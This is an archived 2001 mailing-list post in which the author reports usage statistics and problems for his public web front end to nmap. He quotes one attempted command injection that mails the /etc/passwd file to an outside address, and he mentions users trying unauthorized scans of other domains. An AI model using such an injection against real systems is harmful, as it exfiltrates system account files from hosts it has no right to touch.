Nmap Announce mailing list archives

nmap + html-front end - status

From: Alvin Oga <alvin.sec () Mail Linux-Consulting com>
Date: Wed, 27 Jun 2001 19:03:19 -0700 (PDT)



hi nmap experts/users

thanx for all your feedbacks and comments....

--
-- very good job to fyodor for his/their nmap work....
--

thought i'd send an update... ( at least i thought it's interesting ...

- so far, we've had about 3000 scans done ....

        cat  nmap.log_file | wc -l
           2927

        -
        - people trying to scan outside their domains
        -       ( after the first day of open/anonymous scans was closed )
        -
        grep ERROR2: nmap.log_file | wc -l
           397

        - one guy/girl tried to do:
                 mail -s test gottatry () theirdomain com < /etc/passwd

- so far, my ISP sent me an emai, of why i scanned someones
  server .... ( and told the ISP security guyz that i have this
  nmap front end thingie to help simplify security issues on servers
  and have not heard back since ....
        - since i dont know who got scanned, i couldn't tell um
        who performed that scan... etc

- one other scan occurred to someone and i'm still trying to 
  find out how and who scanned um .... 

- other issue .... more importantly ???
        - some of you are behind a firewall and/or IP masquerade
        so the $ENV{REMOTE_ADDR} and $ENV{REMOTE_HOST} is the
        wrong ip# to be scanning ...

        - i'd guess we'd have to add some javascript code to 
        identify your real ip# ???

-
- overall ... was/is a fun project ... simple too...
-

thanx for your comments
alvin
http://www.Linux-Sec.net/Audit/nmap.test.gwif.html
- there's other tests too..
        - open relays
        - dns tests
        - filesystem and passwd tests

hi ya nmap-experts...

for fun.... i added a page that one can specify the ip#
for an nmap scan ... for services/daemons to close off

http://www.Linux-Sec.net/Audit/nmap.test.html


what do you nmap-experts think ???



--------------------------------------------------
For help using this (nmap-hackers) mailing list, send a blank email to 
nmap-hackers-help () insecure org . List run by ezmlm-idx (www.ezmlm.org).

Current thread:

nmap + html-front end - status Alvin Oga (Jun 27)